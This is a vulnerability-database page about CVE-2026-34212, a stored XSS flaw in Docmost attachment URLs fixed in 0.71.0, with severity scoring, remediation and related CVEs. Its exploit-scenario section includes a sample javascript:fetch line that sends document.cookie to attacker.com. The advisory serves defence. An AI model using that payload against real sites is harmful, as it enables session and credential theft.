Skip to main content

Docmost CVE-2026-34212

| EUVDEUVD-2026-22754 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-14 security-advisories@github.com
5.4
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as low-privilege user
  2. Delivery
    Craft malicious attachment node with javascript: URL
  3. Exploit
    Store payload in page content
  4. Execution
    Victim views page and clicks attachment
  5. Persist
    JavaScript executes in victim's browser context
  6. Impact
    Session/credential theft or defacement

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

CVSS 5.4 (Medium) with network vector, low attack complexity, and low privilege requirement reflects realistic attainability. The critical dependency on user interaction (UI:R) significantly reduces real-world exploitability compared to stored XSS without interaction; however, within a collaborative documentation tool where users routinely click attachments, this friction is minimal. EPSS or KEV status not provided in intelligence data, so exploitation probability cannot be quantified. The attack chain requires stored payload persistence (achieved by authenticated users) and social engineering (victim clicks attachment), placing this in the mid-risk category. For organizations with permissive user roles or public wikis, the risk escalates. Patching to 0.71.0 is straightforward and strongly recommended, especially for multi-user deployments.

Exploit ScenarioDerived

A low-privileged user in a shared Docmost workspace creates a seemingly legitimate document and embeds an attachment node with a javascript: URL (e.g., javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)). When a colleague clicks the attachment icon to open it, the injected JavaScript executes in their browser under the Docmost origin, potentially exfiltrating session cookies, CSRF tokens, or sensitive page content. The attack requires no special tricks beyond a single click from a trusting colleague.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 14, 2026

Stored cross-site scripting (XSS) in Docmost prior to version 0.71.0 allows authenticated users to inject malicious javascript: URLs into attachment nodes, executing arbitrary JavaScript in the browser context of other users who activate those attachments. Attack requires low privileges and user interaction (clicking the attachment), affecting all users viewing compromised pages. The vulnerability has been patched in version 0.71.0.

RemediationAI

Upgrade Docmost to version 0.71.0 or later, which patches the URL neutralization flaw. Users unable to upgrade immediately should restrict attachment creation and editing to trusted administrators, review existing attachments for malicious URL schemes (search for javascript: in attachment metadata), and educate users not to click suspicious attachment links. Apply the fix via your deployment method (Docker, source build, package manager) and restart the Docmost service. See https://github.com/docmost/docmost/security/advisories/GHSA-cf68-cff9-hq4w for the official advisory.

Affected VersionsENISA

docmost < 0.71.0

Affected Packages

euvd docmost fix: 0.71.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Docmost is a collaborative wiki and documentation platform that stores attachment metadata within page content nodes. The vulnerability stems from improper neutralization of URL schemes in attachment link handlers (CWE-79: Improper Neutralization of Input During Web Page Generation). When rendering attachment nodes, the application fails to sanitize or validate the URL protocol, permitting javascript: scheme injection. This allows an authenticated user to craft a malicious attachment object containing a javascript: URL. When another user interacts with the attachment link/icon in their browser, the JavaScript context executes with full access to the Docmost origin-enabling session hijacking, credential theft, or defacement within the scope of the compromised user's permissions.

Know when Docmost gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (github) · only source for this CVE.

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
Patch released
Apr 22, 2026 - 18:47 nvd
Patch available
Patch available
Apr 16, 2026 - 05:29 EUVD
0.71.0
CVE Published
Apr 14, 2026 - 22:16 nvd
MEDIUM 5.4

DescriptionCVE.org

Docmost is open-source collaborative wiki and documentation software. In versions prior to 0.71.0, improper neutralization of attachment URLs in Docmost allows a low-privileged authenticated user to store a malicious javascript: URL inside an attachment node in page content. When another user views the page and activates the attachment link/icon, attacker-controlled JavaScript executes in the context of the Docmost origin. Version 0.71.0 patches the issue.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-57231 HIGH POC
7.5 Sep 10

Unauthenticated path traversal in Docmost v0.21.0's avatar attachment endpoint allows remote attackers to read arbitrary

CVE-2026-24045 HIGH POC
7.3 Feb 10

Stored XSS in Docmost before version 0.25.0 allows authenticated attackers to inject malicious scripts into public share

CVE-2026-22249 HIGH POC
7.1 Jan 15

Docmost versions 0.21.0 through 0.23.x contain a path traversal vulnerability in the zip import feature that allows auth

CVE-2026-23630 MEDIUM POC
5.4 Jan 21

Stored XSS in Docmost 0.3.0-0.23.2 allows authenticated users to execute arbitrary JavaScript in the browsers of documen

CVE-2026-48070 HIGH
7.1 Sep 24

Arbitrary local file and directory deletion on Docmost deployments that use local storage, exploitable by any authentica

CVE-2026-65827 MEDIUM
6.5 Sep 24

Uncontrolled archive extraction in Docmost 0.21.0 through 0.95.0 lets any authenticated workspace member who holds edit

CVE-2026-34213 MEDIUM
5.4 Apr 14

Docmost versions 0.3.0 through 0.70.x allow authenticated users with low privileges to overwrite arbitrary attachments b

CVE-2026-40927 MEDIUM
5.4 Apr 21

Stored cross-site scripting in Docmost's comment system allows authenticated users to plant javascript: URI hyperlinks t

CVE-2026-48072 MEDIUM
5.3 Sep 24

Unauthenticated path traversal in Docmost versions prior to 0.80.1 allows a remote attacker to read files from local sto

CVE-2026-52853 MEDIUM
5.2 Sep 24

Workspace ADMIN accounts in Docmost prior to 0.90.1 can mint OWNER-level accounts through the workspace invitation flow,

CVE-2026-33193 MEDIUM
4.6 Apr 14

Stored cross-site scripting (XSS) in Docmost prior to version 0.70.0 allows authenticated attackers to inject malicious

CVE-2026-52850 MEDIUM
4.3 Sep 24

Authenticated workspace members in Docmost prior to 0.90.1 can read confidential sync-block content from private spaces

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy